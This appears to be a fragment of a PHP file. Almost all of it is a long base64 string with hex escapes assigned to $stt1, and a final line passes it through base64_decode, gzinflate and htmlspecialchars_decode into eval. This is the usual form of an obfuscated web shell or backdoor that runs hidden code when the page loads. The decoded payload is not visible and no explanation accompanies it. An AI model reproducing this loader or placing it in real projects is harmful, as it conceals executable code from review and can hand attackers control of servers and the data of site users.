MWlXNJw04o\x43t741V\x42hFSLTQTEEv5SjzflGXx9FQn8Fsf\x2b\x41YGHPWQwHS\x2bjj\x62z7U2\x63JF2f29G1J\x42q\x62f9nOr7LT5upV\x617gv9Xmv1K0l72Uq9KpW\x41rKQfTF7f1i7LW\x42S0Jw\x43IIW3uX\x421\x61NUGkqvjIQsySXIZg2Qz5T09\x631mz/DIk5onW7S1\x61EjZJQV\x41lFi5zlTstp\x2bOg\x6145xsI\x61nodiyS6uteqEYfTjZYEsNep16y\x41gz\x62RxYQpEjklGDHvGpvE\x2bzTn\x2bn522vj89OU\x42Qnp7GK\x43Go\x42OizGI\x618O\x61lm5\x43V90UdPX\x61k\x42GMtTg\x43HpQoZGE4X0nl\x42r\x41u2z9hhV\x42\x61oiEY8n6\x425vx\x2bfSwPomeMv\x2byG3QvTyTuuF9zv8n\x41Oqg5zzhp\x63gG2PIyHQ9zz2He4o9wt\x41P48df1\x41\x419kFT/Qi67dQg99M\x62hUn9guVTVdtEf/Efzu\x61RM\x63oDQwsXkM\x63vq3LU\x43\x43\x41F\x41\x62XNg9u6W\x42/\x61v9Rx0llvnNpnrLmqsG\x61\x42Q\x63Dl8w61\x2b2NwXMgXKMZEhTsfZEK1iWr1Idx6vOkTgU\x42jzI/g\x42tJVX7eVwtU\x61XY\x41WDZSgM8\x61\x2br6e7\x41\x41MF0H0O44V/zu4f6/RIfXoIjTiF/RRVX/DnfTt\x62/UuEQoVNXPxsqY2\x61UdQFKKGeGSYw\x2b\x2bXwU\x428jt3v7\x61\x2b8hzV0E\x2bF1\x43k/\x63dTsj/f7s4I5\x61z/ZL5HvPoFKUZjL\x43t0o6enw/Fg\x41gYSWymXu4wGtJk\x2bt5qD\x43UdEz\x63\x618WEj1sXErNlf1vl\x2b\x62hIMn5PG\x41JFfZIe/V38\x63j\x61uQwK\x2b276XmVP\x41K\x637u/\x62\x427Ow19G4OwiHHtI3G3pLimSM\x43\x41\x2bidMQpj/U6\x620WfzjkNpdpt/WMY8L\x2bttKI6eyiNy1nP\x42GjHuD\x43vJeU\x63fvd1xSf\x417Q6VUHYUTYu80Vlk5guESWU5O\x61Eom7V33EQQI1gEqfW07Om/r\x63O8v\x2b9V\x63RHdfTL/y\x429Pn1d1zpSQdNN6LVXVsKv8ZDvI6GRZyMNv\x42\x41iTvXh\x42MDd0\x61ErY2\x428HFgy2G1h/Lnf4D\x42s6\x2bWL3L22tFTPp4g/HnZvoLjVQp\x61R4oH1N\x41JuYZYWkEVJXE5\x6311Li558/pSi\x61vxmONWUtR9zgvK\x61Y2zyisyY\x63WdENZtl\x63dt5Ek\x425KgdJq\x61v\x42pKYXdXOMNlZji\x4332e9Is7d\x63L\x41UrO3IsVm2WJ2\x42R\x2bVYR\x63X\x6169TT\x2b/t\x2bW40D3rs49vmkx\x61nT\x61\x2bmQHkruGsoXkL\x41y\x42Z7wMh\x61NqVDG\x62\x41kHDrH4gPFxq\x425\x41YTGX5\x41Q\x2b/Un96pt\x61P\x41HxeV9\x426N0SgerhK9iIy5Jz\x43\x63GII\x42d\x41Lih\x43\x61J4fUnzpr7JUV0ZudNvX\x61Kv74\x619FNxU\x61gOm\x62M6D\x422qYnzhyyVu\x435V3KZ\x41Z44sUeEMZh0G/28HYZvI\x62xtW4dw7GU\x62sXQ\x2bPGlPw\x41W\x43981tFwVRIpOs2wrtlE\x635ZPq65\x41jSR\x62i\x62e4qonWz21\x62jY\x6321EGqQUgumtPF\x431eDp\x2bLm6pf\x43yqeM1p4OR\x41l/WJz6s2kTlM/Wp9\x61X0pGM35O4f\x63nfjOwgGf\x63\x62GiRkYG1EZ6v2P97I\x63U84rn\x2b\x62y\x639pE\x421\x62PQY\x62qqI\x2b6\x43W\x42Sf\x6216I\x2b1dI\x2b\x2bUI4xtVYsSmjd9Z7zkLuLO9yPQJsHGKXHpHDJ28QZ\x63SZ\x41n\x62Nx1FI\x42soZQwqOfMgYvjqp8UI0FKg5f2\x43hG0vMlv\x41VoOgUnPYttPv\x61zfHm/ujHM\x421L13Fh/ypxFpiMk\x2bEsVuow01EmyTpw3w5x8vo6LOX\x63\x43U\x63QlI9FHl8\x41PqnQ\x63w2hXG\x42/Pt\x41ZmzH/KEQSKSf3u\x42DsEU/\x42\x63e9s1/\x2b\x43SRh\x420FvreF4h4Q/zXR32dVdgItjnVIKDrrkyjv8iwX\x41xhOn8TlOM8OmR\x416\x62ZKG/6\x6325\x42\x43hfLZWw\x436nM1\x627fEd0th6i\x43O\x42lIqiXIr28SI\x438k\x41qxXNx\x2bZl16lWxEKzm6\x2bfG2QHwwG\x42Tk3\x63x\x43SyI00Oedry1eNdu\x621SvXnNJFTwrgIW2q\x63nWvMe\x63vSv\x43n\x41U\x61\x2bZ\x41\x419F\x62\x62O\x41i8\x42lEHg614jf5\x63/z\x627RHKlHRXIp0k\x63r3TuP5\x41qtP1LmsQPhLH2OItS\x62eZw\x63WRUwgWU4ww2P\x43SjIe\x2bPM2moE9\x2bo\x2bmrJPISDKw2\x439peF\x43/yFx\x2bsORsI\x61mvj/\x2b7g\x62tG\x62JWIDiI4N1FsgpDM7pIzzqL/\x43ueL4j0YV\x62UQt4IMYiuW\x63\x2b5TZ\x42xYupf9MzeRgn5\x2b0YTSxxo\x41j7\x42MIHX\x2bF6hMQi3\x43lTFsTFxFq1lrkQ0KtjW5LnvlS2PmwU\x61k\x2b4giwn2RhV/Y2YuT3lZgg4HVIDP\x63\x62/S74/U/8SwSsg/z7thg/Njq4FYs\x2bGqxgg77hvqjQ7MOFENoXs\x42w5DzSoDV\x62hPgoVN2F2/ffmZ44ZJoN61Wo1z75\x43Y8J8X6O/f3w6Pgd\x61LYn\x2b9LMzhGHzKx7zD0VygxWrkw\x2b3gYdgurlGQ\x62\x423PUXhoRF3rs5\x61hyzlt/\x41UwM\x43qRQ/l\x419nIgPkKMzw8\x41x0E86svLrvnDFnD\x63uMV\x43U0n\x438n0XFLvH9s\x62iMO1qyZPn\x2bY3vUkzeKzvhpE8H\x42Nx04Io3hRVFK\x63M\x420lQ\x2bnfYiTt\x63Iv4Lh\x2byK3wtz5XIj9fT9H\x61S2NNGqNT4\x2b8HQMw\x42Ntg43FugJsOkFWmzvfxgqylYyYISqPMzVq2ZrVV\x63\x2bq\x62\x63V\x2bOKYI/GWGHH/Hr8/\x61tzhLMTup9MJWWZdl27Vep1\x43VN866hMWTIkDmuUy49tWhXS91DyfQ\x62\x41EO/1ze\x41\x63mF0fst\x43M\x62\x61\x63v1\x43sRgj8i\x42PMil\x42IgsZ85qjOD6itY\x41EoT\x2bt9MI8S\x41o1sj609n1EgoKEI3gtnOQgYZ\x42p4QF\x2bl\x62v\x62InKN0LFz9X8ZZqfXdhMKgLDUOz/5G6VD\x2b9/zNfVYe50k9/PXIihe7wq\x41/GZT0R/MnwnI\x62\x43R\x41kp3kRhyEXVg1EY0XUFVximQu6hmU\x62Pd\x431nXG\x43TivPQqlQ53Zjki6nF\x43djl/zSOitnmQ/qGK\x2bxUD4zrLFW7Ox210HQeRQggKxEq\x62l\x41MWNzvo/UW1T9oNfYgds4Ys0LG25Z6EY\x63rO8LjhXYlLIGp\x41wryZFsqvZxHw8V\x42pjZq26\x62Fu/X99\x4167Xw8xH5uvpJUTYMwo\x63r9Y\x2bt\x62\x41mJIP\x2b\x62\x43H4hXpRtv94fmjelH\x43\x62\x2bGp7dS6GX0fENhzfo\x637kxzLgu0qxD43z\x43z9\x2b\x42LSgYPShL7v1wHduQdtwuV0q\x63t6X\x63FxfOgvMW\x43NRk\x627oI\x2b3vrziG2sMN0\x4279\x62TU56M43usf5JY5XjXUHdvP52Dihg9L4vI\x41jgdM5wioN\x63ZDeUZusW\x63\x2bFR2zT\x411Vk3orgfGX\x43XwMzI\x62INT56m5\x610437lyN6vtUlpD\x43Emt0\x42oMhNe7J\x43xy79ToNe\x62QW4Q\x42WG8gwuQ4/85D56NonLy\x63YmRkZLgZ5S\x61E\x61qsU\x43oe\x4244kqylvM08zTWtsPn\x62UK\x424KrKqf3rOEQSf8FzUw\x41\x2bnKMkRZNJPPFiydIF\x621UDoX\x62r\x61w88r4H8fS/\x61yv6v3JxgeRzWLQNvtidu8iZ\x62\x41xvhXw/MivQUftN9\x42/N\x633ORVGF\x43K\x41dd0/5VpQr/\x62X\x624G\x43l/Z\x2b1G\x41DWGFEf\x42HRh8Uo1f9pMoZe/f2L8ugnu/\x62Tf\x2bE21p4XS86h/W\x42UGIr87HNm32lfX2\x2bzm5HMQfmENliYS0UKgp\x63nd1q\x62e\x41fGUTk6MgfPf4OnK94Mhy\x62Yuz/JT\x42\x43l5Vpx78nUSEyX\x41TpT//6iq4NxgU\x2b51NpnP\x61Mhs\x41mr\x2b0uotVQRnZ2orRg\x42xNTekZt4l2p9Pu/gPI\x2b6k\x2bu\x42MknJQ\x41vT6HdqKvpY\x63mLy6hISLpRynPT\x4357vzUxKvEtj\x43Qt\x41W9Rl1G\x412f\x43Ez\x61\x2b\x2bh3v8\x2b\x43Ds8HYJSu75DzvPRsq\x423kf4zQgwooJ0DIU4\x42VOVjq8hXYmNQ7HEQdFflJMg\x621IDVvN\x2be\x2bspJ1\x61e\x426nJiu\x43w0MNhKi\x2b\x62/KlM\x2bO\x43kfdp0r6eM\x62oTIfgx\x63IwJiw\x41vo\x42LUe\x2bth/4Nzxs/91u64\x414HUze2Q\x42\x2b7iL5Hfm\x43\x41genv/\x412Z\x41qOeYWpyu82\x42J0JOfwVluwLMd6wnr\x42m4GE\x62MIFzgs5hOIiHnXIHD4G/FO45\x42HQgl7vytRS49Q8\x2bDGu\x61H4\x43fs\x629\x634Y\x41GPXsFt9//h5LoMy\x63Qd6FZrpq\x42HYYxN3JxXXqDFT\x62Rrq\x62//4IP\x42\x43ithz\x43i\x2b/\x42jo3e9JsWge\x62oDsO\x41Ud6LI\x62PIwJMtxQqydo9\x2bO5it\x43Ovovj5OVTOu\x61iZy\x42mvz\x2b\x42nNiGno7i/\x41\x41vn/QoeeMs\x61o8igw/\x4221Z\x62O\x418n8vP/pN//F\x2bZuw6EPwFsSqsV\x42p\x41\x41Z\x41l\x62TvHwx\x426Qf9esiUn1rvtX\x42WP73\x43zFD8EkTw/67hgTnYr7ed/zL\x43SEn\x43Ng\x43\x41p\x2bW\x2b9w\x438\x42Vl0DQy\x42up6Tgvv6gphhN\x43\x43jLlSML\x42IJWnXy\x42Mk\x41Lm11UkpsmI\x61SonLIQql1n/VK\x43f\x42oH77dHv\x62\x41WU1D20mKmE0KXkmKpQk\x42vpwVK\x42mNjst0OVPFpDLidpu6p\x2b\x2b1D69PS3485\x43x/uXQwDhSH4MhdXeXU43f\x42gnhEeU\x61fe1f5\x2bjid\x41yqpe/WS2IWQhf7\x2bfsi2FIXmfltN6HHwwJ\x436Z4L7mfMyP9QTgDmEPswN\x42Guw7PZ\x63HHdUIzr\x2biFmvy6/y62y\x43qO3f\x42d9g5\x41G3D\x62fqi\x42E\x617vn9SOMk\x42eORU59QP84\x61hlWjP00ooq7mhPhYEeHg\x43YYEnFvIEuoP0G\x63tPwJ/TK\x2b\x422hifR\x63X2ITVnE6RHilRTTkKf\x61NVz2P7P\x43KRk/4tl1u39sH/D\x2bfN4epvvnmI4Tp7\x63s0PLn\x621JRP8\x63rD80\x42gDT\x623YuUzR\x63DoI4TOD\x41I\x61m\x41qF\x2b/vRQXTnySIk2/UQyvGk5V\x63w0IhMFrXI\x63Rq5E\x63tS10S/EIg\x418l5LgJ0DV\x43zHfn\x638H8fNzwLP\x62i/P/8/MG/63oie8zypJKTZuR/NOfxn\x42\x42MQnfO0WWw0Trf3\x61XTP8w8/l\x62q\x63J\x2b0G2p9\x4274Udv\x62w/f/\x42nJheTN\x4192I\x42Q\x62S80UWdq0Lnz8y\x618/FDofNEeRY9mvrwiN\x62s98\x43SI3L\x61ROrVZzLwEWrTqUNFkSLLHm\x2biRgvSY\x2bxNUS\x63qE\x41Z4PY7OOHzr\x61fM03XIQivZ\x43\x420S\x62e1\x625vIwuZuHE/MpQeZYpGss\x43\x43zWT03OYULjlUm1\x63OnJ7/\x42o\x624\x2bvHnN\x41un//jqg7QM066PiFYHo\x42Mu\x41OnZNxZo\x61YNVJ07\x43N\x43sNSuDFMMy/3y\x2brLqorxj53wrE/SXMtUM/Gtn74VpT6NQr7qzv7QTh4I\x61kJI8p/7\x2bOTylRznn3e\x2b/\x62f12MFzpvuZPVlJzP9/u/q\x63x/0nn6e/PdlK6l\x2bTnFDXPDMQX7fxU8rx7gJ1dRgzfee6\x2b73ZZ/3\x61\x2bzPjMm8YjMyIjIDkKsrq99uznrZ7DKGxESJyN2/n\x2bmJpIYQ1iZkE\x2b4r7G6w\x2bs\x62s7Kr\x61\x62\x62GRlxxeGjXz\x42/5Ufd9vDoINSifXe9z\x2bfPDIM\x41wJe/9Mgw\x41wfMD4M\x41wJe/tMg0\x41wfJDoN\x41wJe/lMg2\x41wfDDIP\x41wJe";
eval(htmlspecialchars_decode(gzinflate(base64_decode($stt1))));
?>